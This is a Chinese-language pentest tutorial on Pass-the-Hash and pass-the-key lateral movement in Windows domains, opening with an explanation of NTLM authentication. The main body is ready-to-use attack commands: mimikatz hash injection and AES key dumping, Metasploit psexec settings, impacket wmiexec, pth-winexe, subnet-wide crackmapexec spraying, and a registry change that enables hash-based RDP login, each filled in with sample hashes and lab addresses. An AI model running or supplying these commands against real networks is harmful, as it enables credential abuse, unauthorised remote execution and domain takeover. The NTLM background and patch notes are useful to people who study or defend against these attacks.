多姿势的PTH攻击
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
前言 PTH攻击在内网横向中利用广泛,今天给大家从NTLM原理,到PTH在内网横向中的利用,进一步的认识PTH攻击手法。认识PTH之前,先来了解一下与PTH攻击相关的NTLM认证原理。 文章流程: NTLM认证流程 PTH多方式利用 批量PTH PTH3389 PTK 总结 NTLM认证原理(参考与csdn)NTLM 在域环境中的认证程:Challenge/Response 验证机制质询(Chalenge)/响应(Response)认证机制的核心 认证步骤: 第一阶段: 用户通过输入Windows帐号和密码登录客户端主机。在登录之前,客户端会缓存输入密码的哈希值,原始密码会被丢弃,成功登录客户端Windows的用户如果试图访问服务器资源,需要向对方发送一个请求。该请求中包含一个以明文表示的用户名 第二阶段: 服务器接收到请求后,生成一个16位的随机数。这个随机数被称为Challenge(挑战,质询)。服务器在将该Challenge发送给客户端之前,该Challenge会先被保存起来。Challenge是以明文的形式发送的。 第三阶段: 客户端在接收到服务器发回的Challenge后,用在步骤一中保存的密码哈希值对其加密,这个密码哈希值就是NTLM-hash然后再将加密后的Challenge发送给服务器。并与用户名、Challenge 等一起组合得到 Net-NTLMHash,最后将 Net NTLM-Hash 封装到TYPE 3 ,发往服务端,这个步骤称为应答 (Response)。 第四阶段: 服务器接收到客户端发送回来的加密后的Challenge后,会向DC(Domain)发送针对客户端的验证请求。该请求主要包含以下三方面的内容:客户端用户名;客户端密码哈希值加密的Challenge和原始的Challenge。 最后: DC根据用户名获取该帐号的密码哈希值,对原始的Challenge进行加密。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器,并最终反馈给客户端。 认识一下PTH: 哈希传递(Pass The Hash)攻击简称 PTH,该方法通过找到与账户相关的密码散列值(NTLM Hash)来进行攻击。由于在 Windows 系统 NTLM 认证的 TYPE 3 消息计算 Response 的时候,客户端是使用用户的 NTLM Hash 进行计算的,而不是用户密码进行计算的 这里就是PTH攻击的利用步骤,他不是个漏洞,他是在ntlm认证第三阶段时候,正常的认证流程,ntlm认证在第三阶段不是用明文密码加密challenge的,是用NTLM-hashPTH攻击适用于: 域/工作组环境 可以获得hash,但是条件不允许对hash爆破(解不开hash) 内网中存在和当前机器相同的密码 (可以批量PTH) PTH常用攻击方式: mimikatz进行PTH mimikatz 在域环境中的 PTH横到域控: 前提是域内任意一台主机的本地管理员权限和域管理员密码的NTLM hash值,可进行pth攻击 简单利用: 假设咱们抓出来的域管NTLM哈希解不开 这时候可以利用mimikatz尝试PTH攻击 sekurlsa::pth /user:administrator /domain:tubai.com /ntlm:2b07f7b579bb97532a9eb37753765d8f 利用成功便会弹出框 dir 192.168.52.129c$ MSF中也早已集成了PTH的方法: 这里的LM哈希是NTLM哈希认证的前身,只不过因为安全问题被NTLM取代了,有些工具需要填写我们可以原样填写,或者用00000000代替即可。 成功便弹回shell上面的模块特征过于明显,可以利用msf稍微隐秘一点的模块 利用msf稍微隐秘的PTH: 执行特定的命令然后就退出,另外还需要一个参数,就是在远程机器上执行的命令 use admin/smb/psexec_commandset rhosts 192.168.52.129set subdomain tubai.comset smbuser administratorset smbpass 00000000000000000000000000000000:2b07f7b579bb97532a9eb37753765d8fset command hostnamerun impacket套件中的wmiexec可以PTH: wmiexec.exe -hashes LM哈希:NTLM哈希 域名/用户名@目标IP wmiexec.exe -hashes e52cac67419a9a22a67a448822b50c99:2b07f7b579bb97532a9eb37753765d8f tubai/administrator@192.168.52.129 kali中也有自带工具可以PTH: pth-winexe pth-winexe -U tubai/administrator%e52cac67419a9a22a67a448822b50c99:2b07f7b579bb97532a9eb37753765d8f --system --ostype=1 //192.168.52.129 cmd 方式很多,但遵循的原理就那一个。 批量PTH 在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机. powershell脚本批量PTH: https://github.com/Kevin-Robertson/Invoke-TheHash本地加载后使用 Import-Module .Invoke-WMIExec.ps1 Import-Module .Invoke-TheHash.ps1 crackmapexec批量PTH: crackmapexec smb 192.168.52.0/24 -u administrator -H 2b07f7b579bb97532a9eb37753765d8f -d tubai.com -x hostname msf中也可以,改一下RHOSTS为整个段即可,方式很多。 PTH对方机器的3389服务 利用苛刻。 前提条件:需要目标机器的本地管理员权限 开启Restricted Admin mode适用系统: 高版本只支持 Windows 8.1和Windows Server 2012 R2 默认开启Restricted Admin mode 低版本需要打补丁, Windows 7 和Windows Server 2008 R2 默认不支持,需要安装补丁2871997、2973351 默认没开启的话可以改注册表开启Restricted Admin mode: REG ADD HKLMSystemCurrentControlSetControlLsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f 将已经获得的hash注入至mstsc进程中:: sekurlsa::pth /user:administrator /domain:tubai.com /ntlm:2b07f7b579bb97532a9eb37753765d8f "/run:mstsc.exe /restrictedadmin" PTK 如果hash的ntlm hash,然后加密方式是rc4,这种就算做是pass the hash,如果是hash是aes key(使用sekurlsa::ekeys导出来),就算是pass the key。在很多地方,不支持rc4加密方式的时候,使用pass the key不失为一种好方法。 安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现ptk攻击。 前提条件:只适用于域环境,并且目标主机需要安装 KB2871997补丁 mimkatz抓AES keys密钥 mimikatz "privilege::debug" "sekurlsa::ekeys" 导入 mimikatz "privilege::debug" "sekurlsa::pth /user:win7 /domain:tubai.com /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288" 补丁限制:kb2871997 对PTH攻击做了限制的补丁,他使本地账号不再用于远程接入系统。 kb2871997对于本地Administrator(rid为500,操作系统只认rid不认用户名)和本地管理员组的域用户是没有影响的。 参考: https://my.oschina.net/u/4327596/blog/3426286 https://blog.csdn.net/Gamma_lab/article/details/118335958 总结:PTH是内网横向最常用的方式,利用的攻击思路也很多,远远不止给大家分享的这些。各位师傅要是有更多的利用姿势可以一起交流学习!今天给大家从ntlm认证原理到PTH在横向中多姿势利用做了总结,比较全面的汇总了PTH在内网横向中的各种手段。